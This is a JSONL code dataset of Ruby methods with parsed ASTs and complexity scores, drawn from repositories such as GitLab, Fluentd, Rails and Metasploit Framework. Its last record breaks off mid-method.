{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/03_project_3_features.rb","start_line":12,"raw_source":"def create_project_features!\n    Gitlab::Seeder.with_mass_insert(Project.count, \"Project features\") do\n      Project.each_batch(of: BATCH_SIZE) do |batch, index|\n        range = batch.pluck(Arel.sql('MIN(id)'), Arel.sql('MAX(id)')).first\n        count = index * batch.size\n\n        Gitlab::Seeder.log_message(\"Creating project features: #{count}.\")\n        ActiveRecord::Base.connection.execute <<~SQL\n          INSERT INTO project_features (project_id, merge_requests_access_level, issues_access_level, wiki_access_level, pages_access_level)\n          SELECT\n            id,\n            #{ProjectFeature::ENABLED} AS merge_requests_access_level,\n            #{ProjectFeature::ENABLED} AS issues_access_level,\n            #{ProjectFeature::ENABLED} AS wiki_access_level,\n            #{ProjectFeature::ENABLED} AS pages_access_level\n          FROM projects \n          WHERE projects.id BETWEEN #{range.first} AND #{range.last}\n          ON CONFLICT DO NOTHING;\n        SQL\n      end\n    end\n  end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"create_project_features!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Seeder\"]},\"with_mass_insert\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"count\"]},{\"type\":\"str\",\"children\":[\"Project features\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]},{\"type\":\"arg\",\"children\":[\"index\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"range\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"pluck\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"MIN(id)\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Arel\"]},\"sql\",{\"type\":\"str\",\"children\":[\"MAX(id)\"]}]}]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Seeder\"]},\"log_message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating project features: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO project_features (project_id, merge_requests_access_level, issues_access_level, wiki_access_level, pages_access_level)\\n\"]},{\"type\":\"str\",\"children\":[\"SELECT\\n\"]},{\"type\":\"str\",\"children\":[\"  id,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"ENABLED\"]}]},{\"type\":\"str\",\"children\":[\" AS merge_requests_access_level,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"ENABLED\"]}]},{\"type\":\"str\",\"children\":[\" AS issues_access_level,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"ENABLED\"]}]},{\"type\":\"str\",\"children\":[\" AS wiki_access_level,\\n\"]},{\"type\":\"str\",\"children\":[\"  \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ProjectFeature\"]},\"ENABLED\"]}]},{\"type\":\"str\",\"children\":[\" AS pages_access_level\\n\"]},{\"type\":\"str\",\"children\":[\"FROM projects \\n\"]},{\"type\":\"str\",\"children\":[\"WHERE projects.id BETWEEN \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"first\"]}]},{\"type\":\"str\",\"children\":[\" AND \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"last\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"ON CONFLICT DO NOTHING;\\n\"]}]}]}]}]}]}]}","id":"f8d4ca94-4791-47d3-9d05-e669bec19f96"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/annual_report/source.rb","start_line":34,"raw_source":"def beginning_snowflake_id\n    Mastodon::Snowflake.id_at DateTime.new(year).beginning_of_year\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"beginning_snowflake_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mastodon\"]},\"Snowflake\"]},\"id_at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"year\"]}]},\"beginning_of_year\"]}]}]}","id":"e011fc16-1b95-4873-b40c-39d267138367"}
{"repo_name":"spree","file_path":"./repos/spree/emails/lib/generators/spree/emails/install/templates/mailers/previews/user_preview.rb","start_line":7,"raw_source":"def confirmation_instructions\n      Spree::UserMailer.confirmation_instructions(Spree.user_class.first, 'your_token')\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"confirmation_instructions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"UserMailer\"]},\"confirmation_instructions\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"user_class\"]},\"first\"]},{\"type\":\"str\",\"children\":[\"your_token\"]}]}]}","id":"c04206b6-b4c0-4a9b-b6eb-86daa4dc0d67"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/server/app/models/agents/workflow_run.rb","start_line":71,"raw_source":"def finalize(output = nil)\n      update!(finished_at: Time.zone.now)\n      workflow_log = self.workflow_log\n      return unless workflow_log\n\n      workflow_log.update!(output: output.to_json)\n      workflow_log.save!\n    end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"finalize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"output\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"now\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"workflow_log\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"workflow_log\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_log\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_log\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"output\"]},\"to_json\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"workflow_log\"]},\"save!\"]}]}]}","id":"9a580a9b-c81f-4576-b608-5f9a3a01e80a"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/buffer/file_chunk.rb","start_line":282,"raw_source":"def create_new_chunk(path, perm)\n          @path = self.class.generate_stage_chunk_path(path, @unique_id)\n          @meta_path = @path + '.meta'\n          begin\n            @chunk = File.open(@path, 'wb+', perm)\n            @chunk.set_encoding(Encoding::ASCII_8BIT)\n            @chunk.sync = true\n            @chunk.binmode\n          rescue => e\n            # Here assumes \"Too many open files\" like recoverable error so raising BufferOverflowError.\n            # If other cases are possible, we will change error handling with proper classes.\n            raise BufferOverflowError, \"can't create buffer file for #{path}. Stop creating buffer files: error = #{e}\"\n          end\n          begin\n            @meta = File.open(@meta_path, 'wb', perm)\n            @meta.set_encoding(Encoding::ASCII_8BIT)\n            @meta.sync = true\n            @meta.binmode\n            write_metadata(update: false)\n          rescue => e\n            # This case is easier than enqueued!. Just removing pre-create buffer file\n            @chunk.close rescue nil\n            File.unlink(@path) rescue nil\n\n            if @meta\n              # ensure to unlink when #write_metadata fails\n              @meta.close rescue nil\n              File.unlink(@meta_path) rescue nil\n            end\n\n            # Same as @chunk case. See above\n            raise BufferOverflowError, \"can't create buffer metadata for #{path}. Stop creating buffer files: error = #{e}\"\n          end\n\n          @state = :unstaged\n          @bytesize = 0\n          @commit_position = @chunk.pos # must be 0\n          @adding_bytes = 0\n          @adding_size = 0\n        end","complexity_score":41.9,"ast_json":"{\"type\":\"def\",\"children\":[\"create_new_chunk\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"perm\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"generate_stage_chunk_path\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"ivar\",\"children\":[\"@unique_id\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@meta_path\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@path\"]},\"+\",{\"type\":\"str\",\"children\":[\".meta\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@chunk\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"ivar\",\"children\":[\"@path\"]},{\"type\":\"str\",\"children\":[\"wb+\"]},{\"type\":\"lvar\",\"children\":[\"perm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"set_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ASCII_8BIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"sync=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"binmode\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"BufferOverflowError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"can't create buffer file for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\". Stop creating buffer files: error = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@meta\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"ivar\",\"children\":[\"@meta_path\"]},{\"type\":\"str\",\"children\":[\"wb\"]},{\"type\":\"lvar\",\"children\":[\"perm\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"set_encoding\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Encoding\"]},\"ASCII_8BIT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"sync=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[null,\"write_metadata\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"update\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"ivar\",\"children\":[\"@path\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meta\"]},\"close\"]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"unlink\",{\"type\":\"ivar\",\"children\":[\"@meta_path\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"nil\",\"children\":[]}]},null]}]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"BufferOverflowError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"can't create buffer metadata for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\". Stop creating buffer files: error = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@state\",{\"type\":\"sym\",\"children\":[\"unstaged\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@bytesize\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@commit_position\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@chunk\"]},\"pos\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@adding_bytes\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@adding_size\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"69388fb8-1140-4385-b5aa-91d3b3082dc2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issuable/discussions_list_service.rb","start_line":68,"raw_source":"def can_read_issuable_notes?\n      return Ability.allowed?(current_user, :read_security_resource, issuable) if issuable.is_a?(Vulnerability)\n\n      Ability.allowed?(current_user, :\"read_#{issuable.to_ability_name}\", issuable) &&\n        Ability.allowed?(current_user, :read_note, issuable)\n    end","complexity_score":18.1,"ast_json":"{\"type\":\"def\",\"children\":[\"can_read_issuable_notes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Vulnerability\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_security_resource\"]},{\"type\":\"send\",\"children\":[null,\"issuable\"]}]}]},null]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"read_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issuable\"]},\"to_ability_name\"]}]}]},{\"type\":\"send\",\"children\":[null,\"issuable\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"read_note\"]},{\"type\":\"send\",\"children\":[null,\"issuable\"]}]}]}]}]}","id":"8f006044-53ff-4192-8bb3-d8271f6fee4e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/udp.rb","start_line":39,"raw_source":"def connect_udp(global = true, opts={})\n    nsock = Rex::Socket::Udp.create(\n      'PeerHost'  =>  opts['RHOST'] || rhost,\n      'PeerPort'  => (opts['RPORT'] || rport).to_i,\n      'LocalHost' =>  opts['CHOST'] || chost || \"0.0.0.0\",\n      'LocalPort' => (opts['CPORT'] || cport || 0).to_i,\n      'Context'   =>\n        {\n          'Msf'        => framework,\n          'MsfExploit' => self,\n        })\n\n    # Set this socket to the global socket as necessary\n    self.udp_sock = nsock if (global)\n\n    # Add this socket to the list of sockets created by this exploit\n    add_socket(nsock)\n\n    return nsock\n  end","complexity_score":30.1,"ast_json":"{\"type\":\"def\",\"children\":[\"connect_udp\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"global\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"Udp\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerHost\"]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PeerPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalHost\"]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CHOST\"]}]},{\"type\":\"send\",\"children\":[null,\"chost\"]}]},{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CPORT\"]}]},{\"type\":\"send\",\"children\":[null,\"cport\"]}]},{\"type\":\"int\",\"children\":[0]}]}]},\"to_i\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"udp_sock=\",{\"type\":\"lvar\",\"children\":[\"nsock\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"add_socket\",{\"type\":\"lvar\",\"children\":[\"nsock\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]}]}","id":"c6a88e40-59c7-40f4-a703-5bc558ad1dd9"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/decorators/sql_collection_representer.rb","start_line":67,"raw_source":"def full_self_path(walker_results, overrides = {})\n          \"#{walker_results.self_path}?#{href_query(walker_results, overrides)}\"\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"full_self_path\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"walker_results\"]},{\"type\":\"optarg\",\"children\":[\"overrides\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"walker_results\"]},\"self_path\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"href_query\",{\"type\":\"lvar\",\"children\":[\"walker_results\"]},{\"type\":\"lvar\",\"children\":[\"overrides\"]}]}]}]}]}","id":"801713a7-9895-4e72-96e2-17d969db539b"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/renderer/partial_renderer/collection_caching.rb","start_line":54,"raw_source":"def callable_cache_key\n        if @options[:cached].is_a?(Hash) && @options[:cached][:key].respond_to?(:call)\n          @options[:cached][:key]\n        elsif @options[:cached].respond_to?(:call)\n          @options[:cached]\n        end\n      end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"callable_cache_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"call\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"cached\"]}]},null]}]}]}","id":"5388092a-38a3-489f-9f59-0292125da337"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/common/storages/adapters/providers/one_drive/validators/ampf_configuration_validator.rb","start_line":94,"raw_source":"def log_extraneous_files(unexpected_files)\n              file_representation = unexpected_files.map do |file|\n                \"Name: #{file.name}, ID: #{file.id}, Location: #{file.location}\"\n              end\n\n              warn \"Unexpected files/folder found in group folder:\\n\\t#{file_representation.join(\"\\n\\t\")}\"\n            end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"log_extraneous_files\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"unexpected_files\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_representation\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unexpected_files\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\", ID: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\", Location: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"location\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Unexpected files/folder found in group folder:\\n\\t\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_representation\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\\t\"]}]}]}]}]}]}]}","id":"6b396925-9651-4a16-8221-60155d483d78"}
{"repo_name":"forem","file_path":"./repos/forem/spec/models/user_spec.rb","start_line":24,"raw_source":"def provider_username(service_name)\n    auth_payload = OmniAuth.config.mock_auth[service_name]\n    provider_class = Authentication::Providers.get!(auth_payload.provider)\n    provider_class.new(auth_payload).user_nickname\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"provider_username\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"auth_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OmniAuth\"]},\"config\"]},\"mock_auth\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"service_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"provider_class\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Authentication\"]},\"Providers\"]},\"get!\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_payload\"]},\"provider\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provider_class\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"auth_payload\"]}]},\"user_nickname\"]}]}]}","id":"b7b052a4-47dc-4173-ab24-7fc00f929199"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/jobs/captain/llm/update_embedding_job.rb","start_line":4,"raw_source":"def perform(record, content)\n    embedding = Captain::Llm::EmbeddingService.new.get_embedding(content)\n    record.update!(embedding: embedding)\n  